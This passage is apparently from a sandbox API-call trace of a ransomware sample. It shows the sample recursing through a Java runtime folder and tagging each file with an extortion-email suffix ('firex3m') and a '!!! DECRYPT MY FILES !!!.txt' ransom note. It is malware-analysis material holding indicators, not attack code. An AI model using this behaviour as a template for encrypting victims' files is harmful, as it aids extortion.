Files\\Java\\jre1.8.0_144\\", cchLength=0x23 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\") returned 0x23 [0116.373] SysReAllocStringLen (in: pbstr=0x6ebf080*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf080*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0116.373] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0116.373] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\*.*", lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x6c0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0116.373] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.373] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0116.373] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\", len=0x27 | out: pbstr=0x6ebee10*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\") returned 1 [0116.373] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\", cchLength=0x27 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\") returned 0x27 [0116.373] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0116.373] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0116.374] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5000 [0116.375] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.376] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x172440, dwReserved0=0x0, dwReserved1=0x0, cFileName="awt.dll", cAlternateFileName="")) returned 1 [0116.376] SysReAllocStringLen (in: pbstr=0x6ebee08*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll", len=0x2e | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 1 [0116.376] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll") returned 0x2e [0116.376] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.376] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.377] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.377] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.377] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bci.dll", cAlternateFileName="")) returned 1 [0116.377] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll", len=0x2e | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 1 [0116.377] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll") returned 0x2e [0116.377] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.377] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.377] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.377] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.377] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcpr.dll", cAlternateFileName="")) returned 1 [0116.377] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll", len=0x2f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 1 [0116.377] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll") returned 0x2f [0116.378] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.378] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.378] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.378] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.378] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x0, dwReserved1=0x0, cFileName="decora_sse.dll", cAlternateFileName="DECORA~1.DLL")) returned 1 [0116.378] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 1 [0116.378] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll", cchLength=0x35 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 0x35 [0116.378] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.378] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.378] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.378] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.378] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8f840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.dll", cAlternateFileName="")) returned 1 [0116.379] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll", len=0x31 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 1 [0116.379] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll", cchLength=0x31 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll") returned 0x31 [0116.379] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.379] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.379] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.379] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.379] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1 [0116.379] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\", len=0x30 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\") returned 1 [0116.379] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\", cchLength=0x30 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\") returned 0x30 [0116.379] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0116.379] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0116.379] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f40 [0116.380] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.380] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfa840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1 [0116.380] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll", len=0x3f | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 1 [0116.381] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll", cchLength=0x3f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll") returned 0x3f [0116.381] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.381] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.381] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.381] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.381] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 1 [0116.381] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll", len=0x41 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 1 [0116.381] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll", cchLength=0x41 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll") returned 0x41 [0116.381] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.381] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.381] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.381] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.382] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.382] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0116.382] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0116.382] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll", len=0x33 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 1 [0116.382] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll", cchLength=0x33 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 0x33 [0116.382] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.382] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.382] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.382] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.382] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_socket.dll", cAlternateFileName="DT_SOC~1.DLL")) returned 1 [0116.383] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 1 [0116.383] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 0x34 [0116.383] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.383] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.383] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.383] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.383] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21440, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.dll", cAlternateFileName="")) returned 1 [0116.383] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll", len=0x2f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 1 [0116.383] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll") returned 0x2f [0116.383] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.383] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.383] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.383] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.384] FindNextFileW (in: hFindFile=0x6d5000, 